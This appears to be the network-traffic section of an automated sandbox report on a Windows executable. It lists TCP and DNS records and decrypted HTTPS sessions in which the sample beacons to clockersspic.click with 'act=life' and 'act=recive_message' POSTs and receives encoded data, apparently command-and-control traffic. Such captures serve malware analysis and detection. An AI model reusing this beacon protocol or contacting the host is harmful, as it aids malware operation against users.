Jan 3, 2025 21:16:01.422274113 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:01.422432899 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:01.423491955 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:01.423506975 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:01.423734903 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:01.424674034 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:01.424793005 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:01.424819946 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:01.424906015 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:01.424916029 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:02.701093912 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:02.701215029 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:02.701334953 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:02.701497078 CET	49716	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:02.701527119 CET	443	49716	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:02.974776983 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:02.974831104 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:02.974939108 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:02.975220919 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:02.975235939 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:03.519361973 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:03.519496918 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:03.521332979 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:03.521353006 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:03.521673918 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:03.525851011 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:03.525963068 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:03.525974035 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:07.821693897 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:07.821793079 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:07.821847916 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:07.821965933 CET	49717	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:07.821985960 CET	443	49717	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.222135067 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.222209930 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.222337008 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.222657919 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.222672939 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.681577921 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.681791067 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.682895899 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.682917118 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.683159113 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.692662001 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.693707943 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.693738937 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.693842888 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.693873882 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.693972111 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.693994999 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694123983 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694154978 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694293022 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694323063 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694469929 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694495916 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694504976 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694519043 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694674969 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694700003 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.694721937 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694856882 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.694895029 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.702634096 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.702836990 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.702871084 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:08.702902079 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.702946901 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:08.704109907 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.067852020 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.067962885 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.068025112 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.068440914 CET	49718	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.068464994 CET	443	49718	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.076875925 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.076936007 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.077037096 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.077280045 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.077305079 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.545186043 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.545326948 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.547954082 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.547959089 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.548196077 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:11.549386024 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.549413919 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:11.549472094 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033447981 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033500910 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033540964 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033551931 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.033561945 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033600092 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033612013 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.033617973 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.033662081 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.033668041 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.034297943 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.034331083 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.034342051 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.034348965 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.034395933 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.034403086 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.038160086 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.038209915 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.038305998 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.038316965 CET	443	49720	104.21.85.66	192.168.2.5
Jan 3, 2025 21:16:12.038341999 CET	49720	443	192.168.2.5	104.21.85.66
Jan 3, 2025 21:16:12.038347960 CET	443	49720	104.21.85.66	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 21:15:54.202797890 CET	50455	53	192.168.2.5	1.1.1.1
Jan 3, 2025 21:15:54.218163013 CET	53	50455	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 21:15:54.202797890 CET	192.168.2.5	1.1.1.1	0x85fb	Standard query (0)	clockersspic.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 3, 2025 21:15:54.218163013 CET	1.1.1.1	192.168.2.5	0x85fb	No error (0)	clockersspic.click		104.21.85.66	A (IP address)	IN (0x0001)	false
Jan 3, 2025 21:15:54.218163013 CET	1.1.1.1	192.168.2.5	0x85fb	No error (0)	clockersspic.click		172.67.203.16	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clockersspic.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:15:54 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: clockersspic.click
2025-01-03 20:15:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-03 20:15:55 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vkoak2mtoee823l22l8hs1u9jh; expires=Tue, 29 Apr 2025 14:02:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PJuA20ahbz%2FZsqkIeb%2FeoapGjJBX0oqiBCv27bGLDRhTWo2s16YcY3gqDg71HygtoTEQ5p%2F1TyoLvn%2BSPg8py9ZXCMGJ1l1kJ53G2SQH5hdyJionqISM8eeLZtArCbkX9gG7MYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5a9dfaffc4265-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1850&min_rtt=1850&rtt_var=694&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=909&delivery_rate=1576673&cwnd=206&unsent_bytes=0&cid=a451ece9ebfa2ef9&ts=800&x=0"
2025-01-03 20:15:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-03 20:15:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:15:56 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: clockersspic.click
2025-01-03 20:15:56 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--957080957&j=
2025-01-03 20:15:58 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46vh3ag3a1l8d07h4v3fcf15qu; expires=Tue, 29 Apr 2025 14:02:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3S21y2Dpzjwg9KpeiCL6n%2F%2FfZZFlM1YPV%2FJAYd97qdflcf09IZI3Ulfn209R0sfjkzqMLtqr7Mq2Jx9dEv0zSID4A1OSTZRKJFt4hFW3kD3Gp%2B9soBqh%2BQYzvGf2u5YFkE752q0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5a9e798270f7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1674&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=953&delivery_rate=1680092&cwnd=231&unsent_bytes=0&cid=7a8edd2349b5a623&ts=2097&x=0"
2025-01-03 20:15:58 UTC	237	IN	Data Raw: 34 39 39 34 0d 0a 57 78 67 31 50 4e 31 51 4d 39 63 6f 59 6a 6d 67 39 52 62 74 4d 6f 54 38 46 4a 4f 6b 66 79 56 52 32 38 35 72 54 59 43 50 6e 43 6b 67 4f 6b 4d 65 35 32 51 66 39 56 73 48 47 35 71 42 5a 4a 68 58 71 4e 35 31 39 34 5a 46 51 7a 43 33 76 51 35 68 6f 76 6e 78 43 32 46 2b 56 46 43 75 4e 52 2f 31 54 52 6f 62 6d 71 35 74 7a 31 66 71 33 69 36 78 77 52 56 48 4d 4c 65 73 43 69 62 76 2f 2f 42 4b 4d 33 52 53 56 4c 67 7a 56 37 5a 45 44 31 7a 46 6b 48 65 48 58 4f 32 52 66 50 36 47 55 77 63 30 6f 65 78 52 62 38 33 71 36 45 67 57 65 55 5a 58 2f 79 30 66 72 41 6f 48 56 34 4c 50 4e 49 78 58 35 70 42 79 39 38 38 58 54 54 6d 2f 72 51 38 6e 38 4f 62 36 51 54 4e 36 55 56 57 79 4f 6b 4f 37 54 67 68 58 77 35 70 Data Ascii: 4994Wxg1PN1QM9coYjmg9RbtMoT8FJOkfyVR285rTYCPnCkgOkMe52Qf9VsHG5qBZJhXqN5194ZFQzC3vQ5hovnxC2F+VFCuNR/1TRobmq5tz1fq3i6xwRVHMLesCibv//BKM3RSVLgzV7ZED1zFkHeHXO2RfP6GUwc0oexRb83q6EgWeUZX/y0frAoHV4LPNIxX5pBy988XTTm/rQ8n8Ob6QTN6UVWyOkO7TghXw5p
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 33 7a 78 36 6d 6d 57 36 78 6e 6c 30 55 41 62 71 39 47 44 72 76 2f 66 67 4c 4a 6a 52 4f 48 72 67 2b 45 65 30 4b 43 46 66 4d 6b 6e 65 41 56 2b 65 65 5a 50 37 47 48 6b 38 37 76 61 59 47 49 4f 33 6a 39 45 77 78 63 31 42 52 75 44 70 58 75 6b 6c 41 46 59 4b 51 62 4d 38 49 70 72 35 6d 38 73 55 4a 53 69 4c 35 73 30 63 32 6f 75 72 79 43 32 45 36 55 56 43 2b 50 31 47 6e 51 67 74 51 78 34 56 2f 68 6c 33 72 6e 6e 76 37 79 52 35 48 4e 4c 4f 6d 42 69 58 6d 34 50 4e 4e 4f 58 6f 58 45 50 38 31 53 66 55 53 51 48 6a 48 68 33 4f 44 52 71 53 6b 4e 75 36 49 42 41 63 30 74 65 78 52 62 2b 72 6f 2f 55 67 79 64 56 52 57 74 43 42 52 70 30 77 4e 58 74 43 52 63 59 46 61 35 59 78 38 2f 38 41 65 54 6a 69 77 71 51 34 72 6f 71 4f 2b 54 43 45 36 44 78 36 65 50 31 71 35 51 42 64 62 67 6f Data Ascii: 3zx6mmW6xnl0UAbq9GDrv/fgLJjROHrg+Ee0KCFfMkneAV+eeZP7GHk87vaYGIO3j9Ewxc1BRuDpXuklAFYKQbM8Ipr5m8sUJSiL5s0c2ouryC2E6UVC+P1GnQgtQx4V/hl3rnnv7yR5HNLOmBiXm4PNNOXoXEP81SfUSQHjHh3ODRqSkNu6IBAc0texRb+ro/UgydVRWtCBRp0wNXtCRcYFa5Yx8/8AeTjiwqQ4roqO+TCE6Dx6eP1q5QBdbgo
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 36 6f 78 36 2b 38 41 53 53 6a 2f 35 34 6b 6b 6f 2b 71 32 6d 43 78 4e 35 51 31 32 31 63 47 53 32 52 41 35 63 31 4e 64 72 77 55 6d 6d 6d 58 71 78 6e 6c 31 4b 4d 72 47 71 47 79 44 76 37 76 42 46 4e 6e 39 59 56 72 38 79 58 4c 42 4f 43 31 44 42 6d 6e 43 64 57 75 61 57 63 2f 44 4d 46 77 64 39 2b 61 73 52 62 37 71 74 7a 31 77 79 4f 47 4a 64 73 54 78 57 6f 77 6f 66 46 64 76 58 63 34 4d 51 76 74 35 37 2b 63 4d 59 53 44 4b 7a 6f 67 77 6c 37 75 58 77 53 43 74 31 55 31 36 7a 4f 6c 75 34 52 41 52 54 79 35 78 2f 69 56 44 6e 6c 44 61 2f 68 68 70 66 63 2b 48 73 50 53 6a 75 34 50 45 4a 44 48 6c 5a 55 4c 67 6b 45 61 6f 45 47 52 76 46 6d 7a 54 58 45 4f 71 58 64 76 72 4d 47 55 63 30 74 4b 6b 4b 4b 4f 48 67 2b 55 45 33 66 56 4e 53 74 6a 39 58 74 55 30 45 58 74 43 53 66 59 4e Data Ascii: 6ox6+8ASSj/54kko+q2mCxN5Q121cGS2RA5c1NdrwUmmmXqxnl1KMrGqGyDv7vBFNn9YVr8yXLBOC1DBmnCdWuaWc/DMFwd9+asRb7qtz1wyOGJdsTxWowofFdvXc4MQvt57+cMYSDKzogwl7uXwSCt1U16zOlu4RARTy5x/iVDnlDa/hhpfc+HsPSju4PEJDHlZULgkEaoEGRvFmzTXEOqXdvrMGUc0tKkKKOHg+UE3fVNStj9XtU0EXtCSfYN
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 4f 65 47 41 67 6b 71 2b 61 73 46 62 37 71 74 39 30 49 72 64 46 6c 58 73 6a 52 5a 73 6b 51 4e 55 4d 53 63 63 34 68 57 36 35 5a 37 39 4d 55 63 51 7a 6d 72 72 77 49 6c 37 2b 65 2b 42 58 6c 39 54 78 37 6e 63 6e 61 35 59 78 42 41 30 49 45 30 6b 42 37 2f 33 6e 48 39 68 6b 55 48 4d 4c 61 6c 42 69 66 71 34 76 46 50 4e 33 78 52 55 37 6f 39 57 36 64 43 44 6c 62 4a 6d 48 2b 64 55 4f 75 61 65 76 58 4f 46 6b 31 7a 39 2b 77 4f 4e 36 4b 31 76 6e 34 30 64 56 64 64 71 58 4a 4f 2b 31 4e 41 58 4d 37 58 4c 4d 39 63 36 4a 35 35 2f 63 6f 57 54 7a 4b 31 6f 67 34 71 36 2b 58 32 57 54 68 2b 58 31 2b 78 50 56 43 78 54 77 56 66 78 5a 4e 79 67 42 43 6f 33 6e 48 70 68 6b 55 48 48 4a 36 5a 53 77 37 59 72 65 45 46 49 44 70 51 55 76 39 71 45 62 6c 4a 44 46 50 4e 6b 58 32 44 57 75 2b 56 Data Ascii: OeGAgkq+asFb7qt90IrdFlXsjRZskQNUMScc4hW65Z79MUcQzmrrwIl7+e+BXl9Tx7ncna5YxBA0IE0kB7/3nH9hkUHMLalBifq4vFPN3xRU7o9W6dCDlbJmH+dUOuaevXOFk1z9+wON6K1vn40dVddqXJO+1NAXM7XLM9c6J55/coWTzK1og4q6+X2WTh+X1+xPVCxTwVfxZNygBCo3nHphkUHHJ6ZSw7YreEFIDpQUv9qEblJDFPNkX2DWu+V
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 6c 45 4e 37 79 6a 43 43 37 6b 2f 2f 6c 43 4b 33 52 61 55 62 63 36 57 4c 52 4f 42 56 62 45 6d 33 36 4f 56 2b 69 51 66 72 47 49 58 55 41 72 2b 66 52 4a 44 76 4c 32 37 46 30 30 57 31 70 52 2f 79 30 66 72 41 6f 48 56 34 4c 50 4e 49 5a 43 34 70 4e 6b 2b 4d 45 54 53 44 43 72 72 51 51 6b 38 4f 72 78 54 7a 35 32 55 56 47 35 4d 31 53 2f 52 67 64 65 79 5a 68 34 7a 78 36 6d 6d 57 36 78 6e 6c 31 70 4f 4b 71 37 43 69 48 70 2b 2b 55 4c 4a 6a 52 4f 48 72 67 2b 45 65 30 4b 41 31 44 4a 6b 33 53 44 55 4f 4b 54 64 75 50 4a 47 6b 41 36 73 72 34 44 4b 4f 58 6d 39 6b 41 32 66 45 56 53 73 53 42 55 70 31 68 41 46 59 4b 51 62 4d 38 49 70 71 68 78 34 64 59 65 42 51 4b 76 72 78 38 6b 37 2b 47 2b 56 48 64 6a 46 31 6d 7a 63 67 6e 31 54 41 39 53 77 5a 68 31 68 6c 7a 72 6d 33 2f 30 78 Data Ascii: lEN7yjCC7k//lCK3RaUbc6WLROBVbEm36OV+iQfrGIXUAr+fRJDvL27F00W1pR/y0frAoHV4LPNIZC4pNk+METSDCrrQQk8OrxTz52UVG5M1S/RgdeyZh4zx6mmW6xnl1pOKq7CiHp++ULJjROHrg+Ee0KA1DJk3SDUOKTduPJGkA6sr4DKOXm9kA2fEVSsSBUp1hAFYKQbM8Ipqhx4dYeBQKvrx8k7+G+VHdjF1mzcgn1TA9SwZh1hlzrm3/0x
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 33 6e 67 6f 30 6f 76 4b 77 55 6e 6c 39 57 78 37 6e 63 6c 4b 79 53 51 46 52 79 35 74 37 69 46 54 30 6c 48 48 6a 78 78 78 4d 50 72 57 73 42 43 4c 6f 37 50 64 47 4e 58 64 51 57 62 41 33 45 66 73 4b 42 30 4f 43 7a 7a 53 75 58 65 32 53 4c 61 75 47 41 67 6b 71 2b 61 73 46 62 37 71 74 2f 6b 45 38 63 46 70 64 73 44 46 44 74 45 77 53 57 38 2b 64 5a 6f 56 62 34 35 4e 37 2f 4d 55 62 51 54 69 31 76 67 41 76 34 65 61 2b 42 58 6c 39 54 78 37 6e 63 6e 4b 69 58 41 70 63 7a 6f 46 2f 6a 6c 50 77 6b 32 61 78 69 46 31 57 4e 4b 6a 73 55 54 6e 79 2b 76 6c 55 64 32 4d 58 57 62 4e 79 43 66 56 4d 43 56 33 46 6b 58 71 64 56 65 43 52 65 66 6a 50 47 55 38 77 75 61 67 4e 4b 4f 66 75 38 6b 41 2b 65 56 68 61 74 6a 78 59 75 67 70 4f 47 38 57 50 4e 4e 63 51 78 34 56 31 2f 63 74 64 57 48 Data Ascii: 3ngo0ovKwUnl9Wx7nclKySQFRy5t7iFT0lHHjxxxMPrWsBCLo7PdGNXdQWbA3EfsKB0OCzzSuXe2SLauGAgkq+asFb7qt/kE8cFpdsDFDtEwSW8+dZoVb45N7/MUbQTi1vgAv4ea+BXl9Tx7ncnKiXApczoF/jlPwk2axiF1WNKjsUTny+vlUd2MXWbNyCfVMCV3FkXqdVeCRefjPGU8wuagNKOfu8kA+eVhatjxYugpOG8WPNNcQx4V1/ctdWH
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 59 61 4c 71 35 67 74 68 4f 6e 64 56 71 54 64 57 6f 77 67 31 57 4d 79 5a 63 35 6b 51 2b 61 45 34 73 63 6b 48 42 32 75 41 74 55 6b 6f 37 71 32 6d 43 79 78 39 56 31 6d 6c 4a 46 61 35 57 77 74 57 7a 72 56 37 69 45 62 6c 6b 58 58 67 7a 31 46 4d 50 76 6e 69 53 53 6a 36 72 61 59 4c 46 6e 31 42 58 5a 41 78 51 4c 77 4b 54 68 76 46 67 54 54 58 45 4e 6a 65 5a 50 4c 57 48 6b 67 69 68 2b 78 52 4e 74 79 74 39 56 30 2b 61 6c 52 49 74 44 39 64 70 48 52 41 41 35 62 46 4a 74 30 43 74 49 45 32 37 76 6c 54 42 7a 4c 35 39 44 41 32 6f 76 75 2b 45 32 73 30 46 30 7a 2f 61 68 48 79 53 52 4a 4a 78 4a 52 69 6a 42 66 59 6f 46 48 6e 7a 42 70 58 4e 4b 36 6a 53 57 47 69 34 72 34 54 41 44 70 65 57 61 51 6a 52 37 68 61 42 78 76 39 32 54 53 58 45 4c 37 65 51 2f 4c 49 45 30 41 6c 71 4f 45 Data Ascii: YaLq5gthOndVqTdWowg1WMyZc5kQ+aE4sckHB2uAtUko7q2mCyx9V1mlJFa5WwtWzrV7iEblkXXgz1FMPvniSSj6raYLFn1BXZAxQLwKThvFgTTXENjeZPLWHkgih+xRNtyt9V0+alRItD9dpHRAA5bFJt0CtIE27vlTBzL59DA2ovu+E2s0F0z/ahHySRJJxJRijBfYoFHnzBpXNK6jSWGi4r4TADpeWaQjR7haBxv92TSXEL7eQ/LIE0AlqOE
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 66 5a 61 4e 48 59 58 45 50 38 6e 57 72 6c 4d 44 55 36 4e 68 6d 4b 4d 52 75 48 53 66 75 44 4c 45 51 63 4d 39 2b 77 52 62 37 71 74 79 30 67 33 64 46 42 49 72 6e 39 78 76 6b 59 44 56 38 4f 51 4e 4d 45 51 34 4e 34 75 6f 6f 68 64 51 79 4c 35 39 46 6c 39 75 62 69 74 48 47 6b 6f 53 42 43 6d 63 6b 66 31 45 6c 49 56 67 6f 55 30 31 78 43 68 6e 57 54 6a 77 42 35 52 4d 50 36 53 4e 79 37 76 34 72 4a 46 4d 6e 70 51 54 71 6b 70 48 62 31 4a 47 6b 48 38 71 56 2b 44 56 75 47 45 63 66 66 67 50 51 64 39 2b 61 4e 4a 64 39 75 74 74 67 73 47 4e 42 64 47 2f 32 6f 52 67 45 6b 4f 56 63 57 42 5a 63 4a 34 78 61 52 4d 73 2b 6f 61 55 6e 47 4e 71 78 6b 2b 36 65 44 79 43 33 63 36 55 52 37 6e 59 68 2f 31 54 68 45 62 6d 73 63 6d 31 41 57 31 79 53 61 6a 32 56 4e 65 63 36 2f 73 55 58 32 73 Data Ascii: fZaNHYXEP8nWrlMDU6NhmKMRuHSfuDLEQcM9+wRb7qty0g3dFBIrn9xvkYDV8OQNMEQ4N4uoohdQyL59Fl9ubitHGkoSBCmckf1ElIVgoU01xChnWTjwB5RMP6SNy7v4rJFMnpQTqkpHb1JGkH8qV+DVuGEcffgPQd9+aNJd9uttgsGNBdG/2oRgEkOVcWBZcJ4xaRMs+oaUnGNqxk+6eDyC3c6UR7nYh/1ThEbmscm1AW1ySaj2VNec6/sUX2s
2025-01-03 20:15:58 UTC	1369	IN	Data Raw: 41 36 51 52 37 6e 59 52 2f 31 57 45 41 44 67 74 42 36 67 6c 48 6c 6b 48 58 6a 31 42 74 45 4a 62 72 72 4e 78 48 48 34 50 4e 4f 4e 33 31 70 59 4a 34 34 51 62 68 46 42 78 6e 69 6b 47 4b 4d 62 74 69 70 5a 2f 62 57 58 32 45 77 72 36 39 4a 59 61 4c 31 76 68 4e 35 57 31 31 4f 73 6a 31 57 39 32 6f 48 54 63 48 58 4f 73 39 55 70 73 59 32 31 4d 73 51 51 6a 32 2b 37 69 67 6c 38 75 44 78 54 48 74 61 55 45 69 38 63 68 2f 31 52 6b 41 44 67 70 5a 2b 6e 31 33 70 6d 54 72 32 33 42 6f 48 66 66 6d 69 53 58 65 69 37 50 52 62 4e 48 56 51 45 72 6b 38 58 2f 56 56 54 6b 4b 43 67 54 54 58 41 36 6a 65 5a 4c 47 65 58 51 41 77 71 37 34 50 4c 50 54 75 75 58 55 48 56 30 56 5a 72 7a 45 54 68 45 63 45 54 64 65 55 